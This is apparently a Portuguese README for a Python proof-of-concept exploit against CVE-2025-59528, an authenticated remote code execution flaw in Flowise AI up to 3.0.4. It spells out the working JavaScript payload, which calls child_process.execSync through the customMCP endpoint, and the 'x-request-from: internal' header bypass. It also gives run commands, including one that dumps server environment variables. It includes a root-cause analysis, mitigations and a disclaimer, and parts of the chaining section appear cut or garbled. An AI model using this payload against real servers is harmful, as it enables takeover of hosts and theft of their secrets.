
PoC de exploit em Python para CVE-2025-59528, alcançando RCE autenticado no Flowise AI <= 3.0.4 através do endpoint customMCP e do child_process.execSync do Node.js.
ID CVE: CVE-2025-59528
Software Afetado: Flowise AI
Versões Vulneráveis: <= 3.0.4
Versão Corrigida: 3.0.5 e posteriores
Severidade: Crítica
Autor: arensballiu
Data: 2025
As versões do Flowise AI até 3.0.4, inclusive, permitem que um usuário autenticado alcance Execução Remota de Código (RCE) no servidor host ao enviar um payload JavaScript elaborado para o endpoint /api/v1/node-load-method/customMCP.
O método de carregamento do nó customMCP aceita entrada controlada pelo usuário que é avaliada no lado do servidor como JavaScript, sem sanitização ou sandboxing adequados. Ao injetar um payload que utiliza o child_process.execSync do Node.js, um atacante pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Flowise.
O endpoint também exige que o cabeçalho esteja presente.
x-request-from: internal| Endpoint | Método | Autenticação Necessária | Propósito |
|---|---|---|---|
/api/v1/auth/login | POST | Não | Autenticar e obter sessão |
/api/v1/node-load-method/customMCP | POST | Sim (cookie de sessão) | Endpoint vulnerável do método de carregamento de nó |
Arquivo: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Forma Longa | Obrigatório | Descrição |
|---|---|---|---|
-e | --email | Sim | Endereço de e-mail do usuário autenticado |
-i | --url | Sim | URL base da instância Flowise |
-p | --password | Sim | Senha do usuário autenticado |
-c | --cmd | Sim | Comando do SO a ser executado no servidor |
Verificar execução de código:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recuperar variáveis de ambiente do servidor:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
O exploit injeta a seguinte expressão JavaScript no campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — carrega o módulo interno de execução de processos do Node.js.execSync('<command>') — executa de forma síncrona o comando do SO fornecido pelo atacante.O cabeçalho x-request-from: internal também é anexado à requisição para passar por uma verificação de origem interna que, de outra forma, bloquearia a chamada.
O endpoint customMCP passa a entrada fornecida pelo usuário diretamente para um contexto de avaliação JavaScript no servidor sem sanitização ou sandboxing. Combinado com o acesso irrestrito aos módulos principais do Node.js (especificamente child_process) via process.mainModule.require, isso cria um vetor de RCE trivialmente explorável. A verificação do cabeçalho x-request-from não fornece nenhuma barreira de segurança significativa, pois não é validada contra nenhuma fonte confiável.
Essas duas vulnerabilidades podem ser encadeadas para um caminho de ataque de RCE não autenticado contra instâncias do Flowise executando versões <= 3.0.4:
child_process, fs, etc.) por meio de um sandbox adequado (por exemplo, vm2, contextos isolados ou removendo o acesso a process.mainModule).x-request-from por meio de um mecanismo do lado do servidor, em vez de uma simples verificação de string.Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão escrita explícita é ilegal e antiético. O autor e os contribuidores não assumem nenhuma responsabilidade pelo uso indevido.